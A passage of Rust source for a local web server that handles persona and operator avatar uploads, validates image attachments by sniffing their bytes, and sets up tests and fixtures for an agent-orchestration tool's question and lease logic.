10080const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10082
10083fn builtin_avatar(id: &str) -> Response {
10084 svg_avatar(persona_icon::builtin_svg(id))
10085}
10086
10087async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10088 raster_or_builtin(
10089 read_icon_file(&avatar_setting_path(&ui.home, None))
10090 .filter(|_| q.builtin.is_none())
10091 .as_deref(),
10092 persona_icon::operator_svg(),
10093 )
10094}
10095
10096fn svg_avatar(svg: &'static str) -> Response {
10097 (
10098 [
10099 (header::CONTENT_TYPE, "image/svg+xml"),
10100 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10101 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10102 (header::CACHE_CONTROL, "no-cache"),
10103 ],
10104 svg,
10105 )
10106 .into_response()
10107}
10108
10109fn avatar_encode(value: &str) -> String {
10110 value
10111 .bytes()
10112 .map(|b| {
10113 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10114 char::from(b).to_string()
10115 } else {
10116 format!("%{b:02X}")
10117 }
10118 })
10119 .collect()
10120}
10121
10122fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10124 let Some(id) = persona else {
10125 return home.join("avatars/operator.data");
10126 };
10127 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10128 let mut path = home.join("avatars/personas");
10129 for chunk in encoded.as_bytes().chunks(100) {
10130 path.push(std::str::from_utf8(chunk).expect("hex"));
10131 }
10132 path.join("icon.data")
10133}
10134
10135fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10136 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10137 Some(value) if value == "builtin" => Some(String::new()),
10138 Some(value) => Some(value),
10139 None => configured.map(str::to_owned),
10140 }
10141}
10142
10143fn operator_icon_url(home: &FsPath) -> String {
10144 format!(
10145 "/avatars/operator.svg?v={}",
10146 persona_icon::fingerprint(
10147 read_icon_file(&avatar_setting_path(home, None))
10148 .as_deref()
10149 .or(Some(persona_icon::operator_svg()))
10150 )
10151 )
10152}
10153
10154fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10155 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10156 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10157 attachment_response(mime, bytes)
10158 }
10159 _ => svg_avatar(builtin),
10160 };
10161 response
10162 .headers_mut()
10163 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10164 response
10165}
10166
10167#[derive(Default, Deserialize)]
10168struct AvatarSettingsQuery {
10169 repo: Option<PathBuf>,
10170 persona: Option<String>,
10171 builtin: Option<String>,
10172 inherit: Option<String>,
10173}
10174
10175fn avatar_settings_specs(
10176 ui: &Ui,
10177 repo: Option<PathBuf>,
10178) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10179 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10180 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10181 .map(|cfg| cfg.talk.personas)
10182 .unwrap_or_default();
10183 Ok((repo, specs))
10184}
10185
10186fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10187 let Ok(entries) = std::fs::read_dir(path) else {
10188 return;
10189 };
10190 for entry in entries.flatten() {
10191 let name = entry.file_name().to_string_lossy().into_owned();
10192 if name == "icon.data" {
10193 let bytes: Option<Vec<u8>> = prefix
10194 .as_bytes()
10195 .chunks(2)
10196 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10197 .collect();
10198 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10199 out.push(id);
10200 }
10201 } else if name.len() <= 100
10202 && !name.is_empty()
10203 && name.bytes().all(|b| b.is_ascii_hexdigit())
10204 && entry.file_type().is_ok_and(|t| t.is_dir())
10205 {
10206 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10207 }
10208 }
10209}
10210
10211async fn avatar_settings_get(
10212 State(ui): State<Arc<Ui>>,
10213 Query(q): Query<AvatarSettingsQuery>,
10214) -> ApiResult<Json<serde_json::Value>> {
10215 blocking(move || {
10216 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10217 let mut catalog = persona::catalog(&specs);
10218 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10219 let mut saved = Vec::new();
10220 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10221 for id in saved {
10222 if !catalog.iter().any(|p| p.id == id) {
10223 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10224 }
10225 }
10226 let personas: Vec<_> = catalog.iter().map(|p| {
10227 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10228 let override_state = match saved.as_deref() {
10229 Some("builtin") => "builtin",
10230 Some(_) => "custom",
10231 None => "inherit",
10232 };
10233 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10234 serde_json::json!({"id":p.id,"name":p.name,
10235 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10236 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10237 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10238 }).collect();
10239 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10240 }).await
10241}
10242
10243async fn settings_persona_avatar(
10244 State(ui): State<Arc<Ui>>,
10245 Query(q): Query<AvatarSettingsQuery>,
10246) -> ApiResult<Response> {
10247 blocking(move || {
10248 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10249 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10250 let found = persona::find(&specs, id);
10251 let icon =
10252 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10253 Ok(raster_or_builtin(
10254 icon.as_deref().filter(|_| q.builtin.is_none()),
10255 persona_icon::builtin_svg(id),
10256 ))
10257 })
10258 .await
10259}
10260
10261fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10262 if q.persona
10263 .as_ref()
10264 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10265 {
10266 return Err(ApiError::bad_request("invalid persona id"));
10267 }
10268 Ok(())
10269}
10270
10271async fn avatar_settings_put(
10272 State(ui): State<Arc<Ui>>,
10273 Query(q): Query<AvatarSettingsQuery>,
10274 Json(upload): Json<MagiIconUpload>,
10275) -> ApiResult<Json<serde_json::Value>> {
10276 blocking(move || {
10277 validate_avatar_target(&q)?;
10278 save_icon_file(
10279 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10280 &upload.icon,
10281 )
10282 .map_err(ApiError::bad_request_from)?;
10283 Ok(Json(serde_json::json!({"saved":true})))
10284 })
10285 .await
10286}
10287
10288async fn avatar_settings_delete(
10289 State(ui): State<Arc<Ui>>,
10290 Query(q): Query<AvatarSettingsQuery>,
10291) -> ApiResult<Json<serde_json::Value>> {
10292 blocking(move || {
10293 validate_avatar_target(&q)?;
10294 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10295 if q.persona.is_some() && q.inherit.is_none() {
10296 atomic_icon_write(&path, "builtin")?;
10297 } else {
10298 match std::fs::remove_file(path) {
10299 Ok(()) => (),
10300 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10301 Err(e) => return Err(anyhow::Error::from(e).into()),
10302 }
10303 }
10304 Ok(Json(serde_json::json!({"saved":true})))
10305 })
10306 .await
10307}
10308
10309fn magi_icon_path(home: &FsPath) -> PathBuf {
10311 home.join("magi-icon.data")
10312}
10313
10314fn read_magi_icon(home: &FsPath) -> Option<String> {
10315 read_icon_file(&magi_icon_path(home))
10316}
10317
10318fn read_icon_file(path: &FsPath) -> Option<String> {
10319 let metadata = std::fs::metadata(path).ok()?;
10320 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10321 return None;
10322 }
10323 let file = std::fs::File::open(path).ok()?;
10324 use std::io::Read;
10325 let mut text = String::new();
10326 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10327 .read_to_string(&mut text)
10328 .ok()?;
10329 if text.len() > persona_icon::ICON_MAX_BYTES {
10330 return None;
10331 }
10332 if text == "builtin" {
10333 return Some(text);
10334 }
10335 validate_uploaded_icon(&text).ok()?;
10336 Some(text)
10337}
10338
10339fn magi_icon_url(home: &FsPath) -> String {
10340 format!(
10341 "/avatars/magi?v={}",
10342 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10343 )
10344}
10345
10346async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10347 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10348}
10349
10350#[derive(Deserialize)]
10351struct MagiIconUpload {
10352 icon: String,
10353}
10354
10355fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10356 save_icon_file(&magi_icon_path(home), icon)
10357}
10358
10359fn validate_uploaded_icon(icon: &str) -> Result<()> {
10360 if !icon.starts_with("data:") {
10361 anyhow::bail!("upload a raster image");
10362 }
10363 let (mime, bytes) = persona_icon::load(icon)?;
10364 if sniffed_mime(&bytes) != Some(mime) {
10365 anyhow::bail!("image content does not match its type");
10366 }
10367 Ok(())
10368}
10369
10370fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10371 validate_uploaded_icon(icon)?;
10372 atomic_icon_write(path, icon)
10373}
10374
10375fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10376 let home = path.parent().expect("icon parent");
10377 std::fs::create_dir_all(home)?;
10378 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10379 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10380 let result = (|| -> Result<()> {
10381 use std::io::Write;
10382 let mut file = std::fs::OpenOptions::new()
10383 .write(true)
10384 .create_new(true)
10385 .open(&temp)?;
10386 file.write_all(icon.as_bytes())?;
10387 file.sync_all()?;
10388 std::fs::rename(&temp, path)?;
10389 Ok(())
10390 })();
10391 let _ = std::fs::remove_file(temp);
10392 result?;
10393 Ok(())
10394}
10395
10396async fn magi_icon_put(
10397 State(ui): State<Arc<Ui>>,
10398 Json(upload): Json<MagiIconUpload>,
10399) -> ApiResult<Json<serde_json::Value>> {
10400 blocking(move || {
10401 if !upload.icon.starts_with("data:") {
10402 return Err(ApiError::bad_request("upload a raster image"));
10403 }
10404 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10405 if sniffed_mime(&bytes) != Some(mime) {
10406 return Err(ApiError::bad_request(
10407 "image content does not match its type",
10408 ));
10409 }
10410 save_magi_icon(&ui.home, &upload.icon)?;
10411 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10412 })
10413 .await
10414}
10415
10416async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10417 blocking(move || {
10418 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10419 Ok(()) => (),
10420 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10421 Err(e) => return Err(anyhow::Error::from(e).into()),
10422 }
10423 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10424 })
10425 .await
10426}
10427
10428async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10429 let icon = (q.builtin.is_none())
10430 .then(|| read_magi_icon(&ui.home))
10431 .flatten();
10432 let mut response = match icon
10433 .as_deref()
10434 .and_then(|icon| persona_icon::load(icon).ok())
10435 {
10436 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10437 attachment_response(mime, bytes)
10438 }
10439 _ => svg_avatar(persona_icon::magi_svg()),
10440 };
10441 response
10442 .headers_mut()
10443 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10444 response
10445}
10446
10447async fn talk_avatar(
10452 State(ui): State<Arc<Ui>>,
10453 Path(id): Path<String>,
10454 Query(q): Query<AvatarQuery>,
10455) -> ApiResult<Response> {
10456 blocking(move || {
10457 let id = resolve_talk(&ui.talks, &id)?;
10458 let talk = ui.talks.get(&id)?;
10459 let wanted = q
10460 .persona
10461 .as_deref()
10462 .map(str::trim)
10463 .filter(|p| !p.is_empty())
10464 .unwrap_or(&talk.persona)
10465 .to_owned();
10466 let specs = match Config::discover(&talk.repo, None) {
10467 Ok((cfg, _)) => cfg.talk.personas,
10468 Err(e) => {
10469 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10470 Vec::new()
10471 }
10472 };
10473 let found = persona::find(&specs, &wanted);
10474 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10476 let icon = effective_persona_icon(
10477 &ui.home,
10478 &wanted,
10479 found.as_ref().and_then(|p| p.icon.as_deref()),
10480 );
10481 if found.is_none() && icon.is_none() {
10482 return Ok(builtin_avatar(persona::DEFAULT_ID));
10483 }
10484 let Some(icon) = icon
10485 .as_deref()
10486 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10487 else {
10488 return Ok(builtin_avatar(&wanted));
10489 };
10490 let Some(found) = found else {
10491 return Ok(raster_or_builtin(
10492 Some(icon),
10493 persona_icon::builtin_svg(&wanted),
10494 ));
10495 };
10496 match persona_icon::load(icon) {
10497 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10498 let mut res = attachment_response(mime, bytes);
10499 res.headers_mut().insert(
10500 header::CACHE_CONTROL,
10501 header::HeaderValue::from_static("no-cache"),
10502 );
10503 Ok(res)
10504 }
10505 Ok((mime, _)) => {
10506 tracing::warn!(
10507 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10508 found.id
10509 );
10510 Ok(builtin_avatar(&found.id))
10511 }
10512 Err(e) => {
10513 tracing::warn!(
10514 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10515 found.id
10516 );
10517 Ok(builtin_avatar(&found.id))
10518 }
10519 }
10520 })
10521 .await
10522}
10523
10524fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10535 if data.len() > ATTACHMENT_MAX_BYTES {
10536 return Err(ApiError::bad_request(format!(
10537 "attachment is {} bytes, over the {} MiB limit",
10538 data.len(),
10539 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10540 ))
10541 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10542 }
10543 if data.is_empty() {
10544 return Err(ApiError::bad_request("attachment is empty"));
10545 }
10546 let declared = declared_mime(headers)?;
10547 match sniffed_mime(data) {
10548 Some(sniffed) if sniffed == declared => Ok(declared),
10549 Some(sniffed) => Err(ApiError::bad_request(format!(
10550 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10551 ))),
10552 None => Err(ApiError::bad_request(
10553 "the file's bytes do not match any accepted image format",
10554 )),
10555 }
10556}
10557
10558fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10562 let raw = headers
10563 .get(header::CONTENT_TYPE)
10564 .and_then(|v| v.to_str().ok())
10565 .unwrap_or("")
10566 .split(';')
10567 .next()
10568 .unwrap_or("")
10569 .trim()
10570 .to_ascii_lowercase();
10571 ATTACHMENT_MIME_WHITELIST
10572 .iter()
10573 .find(|&&m| m == raw)
10574 .copied()
10575 .ok_or_else(|| {
10576 if raw == "image/svg+xml" {
10577 ApiError::bad_request(
10578 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10579 not just a picture",
10580 )
10581 } else if raw.is_empty() {
10582 ApiError::bad_request("Content-Type is required for an attachment upload")
10583 } else {
10584 ApiError::bad_request(format!(
10585 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10586 image/gif or image/webp"
10587 ))
10588 }
10589 })
10590}
10591
10592fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10595 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10596 Some("image/png")
10597 } else if data.starts_with(b"\xff\xd8\xff") {
10598 Some("image/jpeg")
10599 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10600 Some("image/gif")
10601 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10602 Some("image/webp")
10603 } else {
10604 None
10605 }
10606}
10607
10608fn filename_header(headers: &HeaderMap) -> String {
10614 headers
10615 .get(FILENAME_HEADER)
10616 .and_then(|v| v.to_str().ok())
10617 .map(str::trim)
10618 .filter(|s| !s.is_empty())
10619 .unwrap_or("attachment")
10620 .to_owned()
10621}
10622
10623fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10630 let content_type = ATTACHMENT_MIME_WHITELIST
10631 .iter()
10632 .find(|&&m| m == mime)
10633 .copied()
10634 .unwrap_or("application/octet-stream");
10635 (
10636 [
10637 (header::CONTENT_TYPE, content_type),
10638 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10639 ],
10640 body,
10641 )
10642 .into_response()
10643}
10644
10645async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10653 let repo = repo.to_path_buf();
10654 blocking(move || {
10655 let (cfg, _) = Config::discover(&repo, None)?;
10656 Ok(cfg)
10657 })
10658 .await
10659}
10660
10661fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10667 let mut hits = ids
10668 .into_iter()
10669 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10670 match (hits.next(), hits.next()) {
10671 (Some(one), None) => Ok(one),
10672 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10673 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10674 "`{prefix}` matches more than one {what}, including {a} and {b}"
10675 ))),
10676 }
10677}
10678
10679#[cfg(test)]
10680mod tests {
10681
10682 #[test]
10683 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10684 let dir = tempfile::tempdir().unwrap();
10685 let store = ask::Questions::at(dir.path().join("questions"));
10686 let mut q = Question::new(
10687 "task".to_owned(),
10688 "conduct".to_owned(),
10689 "conduct".to_owned(),
10690 "choose".to_owned(),
10691 String::new(),
10692 vec!["keep".to_owned()],
10693 );
10694 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10695 q.say("why?").unwrap();
10696 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10697 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10698 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10699 store.put(&mut q).unwrap();
10700 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10701 assert_eq!(store.count_needs_owner(), 1);
10702 store.beat(&q.id, ask::WaiterKind::Deputy);
10703 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10704 assert_eq!(store.count_needs_owner(), 0);
10705 let mut stale = store.read_lease(&q.id).unwrap();
10706 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10707 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10708 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10709 assert!(view.deputy_exhausted);
10710 assert!(view.waiting_on_agent);
10711 assert_eq!(view.question.choices, ["keep"]);
10712 store.drop_lease(&q.id);
10713 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10714 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10715 }
10716
10717 #[test]
10718 fn holder_reads_the_lease_not_the_record() {
10719 let mut q = Question::new(
10720 "run".to_owned(),
10721 "implement".to_owned(),
10722 "impl-A".to_owned(),
10723 "which?".to_owned(),
10724 String::new(),
10725 Vec::new(),
10726 );
10727 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10728 q.cwd = Some("/tmp".to_owned());
10729 assert_eq!(holder_of(&q, None), Some("nobody"));
10730 let beat = |kind, ago: i64| ask::Lease {
10731 kind,
10732 pid: 1,
10733 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10734 .unwrap(),
10735 };
10736 let fresh = beat(ask::WaiterKind::Asker, 1);
10737 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10738 let daemon = beat(ask::WaiterKind::Daemon, 1);
10739 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10740 let stale = beat(ask::WaiterKind::Asker, 3600);
10741 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10742
10743 let mut c = Question::new(
10746 "task".to_owned(),
10747 crate::conduct::NODE.to_owned(),
10748 "conduct".to_owned(),
10749 "which?".to_owned(),
10750 String::new(),
10751 Vec::new(),
10752 );
10753 assert_eq!(holder_of(&c, None), Some("nobody"));
10754 c.cwd = Some("/tmp".to_owned());
10755 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10756 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10757 let deputy = beat(ask::WaiterKind::Deputy, 1);
10758 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10759 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10760
10761 let mut r = Question::new(
10763 String::new(),
10764 crate::bump::NOTICE_NODE.to_owned(),
10765 "release-watch".to_owned(),
10766 "stuck?".to_owned(),
10767 String::new(),
10768 vec!["hold".to_owned()],
10769 );
10770 assert_eq!(holder_of(&r, None), Some("nobody"));
10771 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10772 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10773 r.deputy = None;
10775 r.seat = "bump".to_owned();
10776 assert_eq!(holder_of(&r, None), None);
10777
10778 let mut m = Question::new(
10781 "run".to_owned(),
10782 crate::land::APPROVAL_NODE.to_owned(),
10783 "land".to_owned(),
10784 "merge?".to_owned(),
10785 String::new(),
10786 Vec::new(),
10787 );
10788 assert_eq!(holder_of(&m, None), Some("nobody"));
10789 assert_eq!(
10790 holder_of(&m, Some(&fresh)),
10791 Some("asker"),
10792 "a live explicit wait is a listener even before a deputy is attached"
10793 );
10794 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10795 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10796 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10797 assert_eq!(holder_of(&m, None), Some("nobody"));
10798 }
10799
10800 fn stub_config() -> Config {
10801 Config {
10804 agents: vec![crate::config::AgentSpec {
10805 id: "stub".to_owned(),
10806 kind: AgentKind::Command,
10807 model: None,
10808 command: vec!["true".to_owned()],
10809 extra_args: Vec::new(),
10810 env: Default::default(),
10811 prompt_delivery: None,
10812 max_turn_secs: None,
10813 }],
10814 ..Config::default()
10815 }
10816 }
10817
10818 fn plain_question(seat: &str) -> Question {
10819 Question::new(
10820 String::new(),
10821 "n".to_owned(),
10822 seat.to_owned(),
10823 "s".to_owned(),
10824 String::new(),
10825 Vec::new(),
10826 )
10827 }
10828
10829 #[test]
10830 fn deputies_enabled_follows_the_config() {
10831 let on = stub_config();
10832 assert!(crate::deputy::can_start(Some(&on), ""));
10833 assert!(crate::deputy::can_start(Some(&on), "stub"));
10834 let mut off = on.clone();
10835 off.daemon.max_deputies = 0;
10836 assert!(!crate::deputy::can_start(Some(&off), ""));
10837 let mut empty = on;
10838 empty.agents.clear();
10839 assert!(!crate::deputy::can_start(Some(&empty), ""));
10840 assert!(!crate::deputy::can_start(None, ""));
10841 }
10842
10843 #[test]
10844 fn question_views_load_the_config_once() {
10845 let dir = TempDir::new().unwrap();
10846 let store = ask::Questions::at(dir.path().to_path_buf());
10847 let mut with_deputy = plain_question("b");
10848 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10849 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10850
10851 let calls = std::cell::Cell::new(0usize);
10852 let views = question_views(qs.clone(), &store, || {
10853 calls.set(calls.get() + 1);
10854 Some(stub_config())
10855 });
10856 assert_eq!(calls.get(), 1);
10857 assert_eq!(views.len(), 3);
10858 for (v, q) in views.iter().zip(&qs) {
10859 assert_eq!(
10860 v.deputies_enabled,
10861 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10862 );
10863 }
10864
10865 let views = question_views(qs, &store, || None);
10866 assert!(views.iter().all(|v| !v.deputies_enabled));
10867
10868 let calls = std::cell::Cell::new(0usize);
10869 let views = question_views(Vec::new(), &store, || {
10870 calls.set(calls.get() + 1);
10871 None
10872 });
10873 assert!(views.is_empty());
10874 assert_eq!(calls.get(), 0);
10875 }
10876
10877 use pretty_assertions::assert_eq;
10878 use serde_json::Value;
10879 use tempfile::TempDir;
10880 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10881
10882 use super::*;
10883 use crate::config::Config;
10884 use crate::queue::Source;
10885
10886 const SETTLE_STEPS: usize = 3_000;
10897
10898 struct Fixture {
10904 home: TempDir,
10905 addr: SocketAddr,
10906 }
10907
10908 impl Fixture {
10909 async fn start() -> Self {
10910 Self::with_loop(launch_idle).await
10911 }
10912
10913 async fn with_loop(launch: Launch) -> Self {
10915 let home = TempDir::new().expect("temp home");
10916 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10917 Self { home, addr }
10918 }
10919
10920 async fn with_repo(repo: PathBuf) -> Self {
10924 let home = TempDir::new().expect("temp home");
10925 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10926 Self { home, addr }
10927 }
10928
10929 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10932 let home = TempDir::new().expect("temp home");
10933 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10934 Self { home, addr }
10935 }
10936
10937 async fn serve(
10938 home: &FsPath,
10939 repo: PathBuf,
10940 launch: Launch,
10941 machine: Option<PathBuf>,
10942 ) -> SocketAddr {
10943 let queue = Queue::at(home.join("queue"));
10944 let runs = home.join("runs");
10945 std::fs::create_dir_all(&runs).expect("runs dir");
10946 let worktrees = home.join("wt").join("magi");
10947 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10948 let ui = Ui::new(
10949 queue,
10950 Questions::at(home.join("questions")),
10951 Talks::at(home.join("talks")),
10952 runs,
10953 home.to_path_buf(),
10954 repo,
10955 )
10956 .with_worktrees_root(worktrees)
10957 .with_machine_config(machine)
10958 .with_launch(launch);
10959 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10960 .await
10961 .expect("bind loopback");
10962 let addr = listener.local_addr().expect("local addr");
10963 tokio::spawn(async move {
10964 let router = ui
10965 .router()
10966 .layer(axum::middleware::from_fn(request_cost::observe));
10967 let _ = axum::serve(listener, router).await;
10968 });
10969 addr
10970 }
10971
10972 fn queue(&self) -> Queue {
10973 Queue::at(self.home.path().join("queue"))
10974 }
10975
10976 fn questions(&self) -> Questions {
10977 Questions::at(self.home.path().join("questions"))
10978 }
10979
10980 fn talks(&self) -> Talks {
10981 Talks::at(self.home.path().join("talks"))
10982 }
10983
10984 fn runs(&self) -> PathBuf {
10985 self.home.path().join("runs")
10986 }
10987
10988 async fn get(&self, path: &str) -> Res {
10989 request(self.addr, "GET", path, None).await
10990 }
10991
10992 async fn head(&self, path: &str) -> Res {
10997 request(self.addr, "HEAD", path, None).await
10998 }
10999
11000 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11001 request(self.addr, "POST", path, body).await
11002 }
11003
11004 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11005 request_with(self.addr, "GET", path, None, extra).await
11006 }
11007
11008 async fn delete(&self, path: &str) -> Res {
11009 request(self.addr, "DELETE", path, None).await
11010 }
11011
11012 async fn put(&self, path: &str, body: &str) -> Res {
11013 request(self.addr, "PUT", path, Some(body)).await
11014 }
11015
11016 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11018 request_bytes(self.addr, path, headers, body).await
11019 }
11020 }
11021
11022 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11025 let tmp = TempDir::new().unwrap();
11026 let mut repos = Vec::new();
11027 for name in ["one", "two"] {
11028 let repo = tmp.path().join(name);
11029 let origin = tmp.path().join(format!("{name}.git"));
11030 std::fs::create_dir_all(&repo).unwrap();
11031 crate::git::git(&repo, &["init", "-b", "main"])
11032 .await
11033 .unwrap();
11034 std::fs::write(
11035 repo.join("magi.toml"),
11036 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11037 )
11038 .unwrap();
11039 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11040 crate::git::git(
11041 &repo,
11042 &[
11043 "-c",
11044 "user.name=fixture",
11045 "-c",
11046 "user.email=fixture@example.invalid",
11047 "commit",
11048 "-m",
11049 "fixture",
11050 ],
11051 )
11052 .await
11053 .unwrap();
11054 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11055 .await
11056 .unwrap();
11057 crate::git::git(
11058 &repo,
11059 &["remote", "add", "origin", origin.to_str().unwrap()],
11060 )
11061 .await
11062 .unwrap();
11063 crate::git::git(&repo, &["push", "origin", "main"])
11064 .await
11065 .unwrap();
11066 crate::git::git(
11067 &repo,
11068 &[
11069 "symbolic-ref",
11070 "refs/remotes/origin/HEAD",
11071 "refs/remotes/origin/main",
11072 ],
11073 )
11074 .await
11075 .unwrap();
11076 let (cfg, _) = Config::discover(&repo, None).unwrap();
11077 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11078 repos.push(repo);
11079 }
